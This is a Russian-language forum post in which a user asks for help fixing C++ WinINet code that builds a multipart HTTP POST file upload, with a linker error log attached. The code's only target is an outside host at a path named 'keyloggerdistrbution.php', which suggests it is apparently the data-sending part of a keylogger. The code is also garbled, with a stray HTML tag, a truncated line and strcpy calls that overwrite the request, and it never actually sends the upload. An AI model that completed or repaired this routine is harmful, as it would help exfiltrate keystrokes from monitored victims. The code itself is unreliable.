Пользователь
Регистрация: 23.08.2015
Сообщений: 34
|
Отправка файла через http post
Вот наклёпал код, вроде бы всё нормально... но
Код:
#define WIN32_LEAN_AND_MEAN
#include "stdafx.h"
#include <windows.h>
#include <windowsx.h>
#include <commctrl.h>
#include <string.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <wininet.h>
#pragma comment(lib, "Ws2_32.lib")
#define PORT 80
#define CLNT_PORT 1235
#define BUF_SIZE 4096
char sBuf[BUF_SIZE],Buf[BUF_SIZE];
char data[BUF_SIZE];
char * GetPageUrl(char * strurl) {
strcpy(data,"POST https://");<br />
strcpy(data, stru...strcpy(data, " HTTP/1.1\r\n");
//strcat(data,"User-Agent: Opera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1\r\n");
strcat(data,"Host: ");
strcat(data,strurl);
//strcpy(data,"Referer: http://127.0.0.1/1.php\r\n");
//strcpy(data,"\r\nAccept: application/mixed, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n");
strcat(data,"\r\nCookie:income=1\r\n");
//strcat(data,"Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n");
strcat(data,"Accept-Encoding: gzip, deflate\r\n");
strcat(data,"Connection: Keep-Alive\r\n");
strcat(data,"Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A\r\n");
strcat(data,"Content-Length: ");
strcat(data,"280");
strcat(data,"\r\n\r\n");
strcat(data,"--1BEF0A57BE110FD467A\r\n");
strcat(data,"Content-Disposition: form-data; name="news_header"\r\n\r\n");
strcat(data,"Пример ноnости\r\n");
strcat(data,"--1BEF0A57BE110FD467A\r\n");
strcat(data,"Content-Type: application/octet-stream\r\n");
strcat(data,"Content-Transfer-Encoding: binary\r\n");
strcat(data,"Content-Disposition: form-data; name="file"; filename="asd"\r\n\r\n");
strcat(data,"txt");
strcat(data,"--1BEF0A57BE110FD467A--");
HINTERNET hSession = InternetOpen((LPCSTR)data, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
HINTERNET hConnect = InternetOpenUrl(hSession, strurl, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 0 );
if (hConnect == NULL)
return "0";
// получить размер заголовка
DWORD dwInfoLen = 0;
HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, NULL, &dwInfoLen, NULL);
// прочитать заголовок
char* sHeadInfo = new char[dwInfoLen];
HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, sHeadInfo, &dwInfoLen, 0);
// размер файла в байтах
DWORD dwFileSize = atoi(sHeadInfo);
delete [] sHeadInfo;
// буфер
BYTE * pFileBuf = new BYTE[dwFileSize];
BYTE * pBufScan = pFileBuf;
//printf("file size: %d\n", dwFileSize);
// читать
DWORD dwAval, dwRead;
while (InternetQueryDataAvailable(hConnect, &dwAval, 0, 0))
{
if (!InternetReadFile(hConnect, pBufScan, dwAval, &dwRead))
break;
if (!dwRead)
break;
pBufScan += dwRead;
//----
char e[32];
//sprintf(e, "read bytes: %d \n", pBufScan - pFileBuf);
OutputDebugString(e);
}
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
return (char *)pFileBuf;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{
GetPageUrl("http://v929a1.bget.ru/keyloggerdistrbution.php");
return 0;
}
Но вот лог ошибок
Код:
1>------ Построение начато: проект: SendFile, Конфигурация: Release Win32 ------
1> stdafx.cpp
1> SendFile.cpp
1>SendFile.cpp(1): warning C4603: WIN32_LEAN_AND_MEAN: макрос не определен или определение изменилось после использования предкомпилированного заголовка
1> Добавление макроопределения в предкомпилированный заголовок вместо определения его здесь
1> SendFile.cpp(2): использование предкомпилированного заголовка
1>SendFile.obj : error LNK2001: неразрешенный внешний символ "__imp__InternetOpenA@20"
1>SendFile.obj : error LNK2001: неразрешенный внешний символ "__imp__InternetOpenUrlA@24"
1>SendFile.obj : error LNK2001: неразрешенный внешний символ "__imp__HttpQueryInfoA@20"
1>SendFile.obj : error LNK2001: неразрешенный внешний символ "__imp__InternetQueryDataAvailable@16"
1>SendFile.obj : error LNK2001: неразрешенный внешний символ "__imp__InternetReadFile@16"
1>SendFile.obj : error LNK2001: неразрешенный внешний символ "__imp__InternetCloseHandle@4"
1>MSVCRT.lib(crtexe.obj) : error LNK2001: неразрешенный внешний символ "_main"
1>C:\Users\kek\Documents\VS2012\Projects\SendFile\Release\SendFile.exe : fatal error LNK1120: неразрешенных внешних элементов: 7
========== Построение: успешно: 0, с ошибками: 1, без изменений: 0, пропущено: 0 ==========
vs 2012
https://yadi.sk/d/p7QzPoGdtLQBx
Уже 3-й день мучаюсь, надеюсь на адекватную помощь. Также можно предоставить нормальную функцию для отправки которая должно-быдь завалялась у вас с 2007
|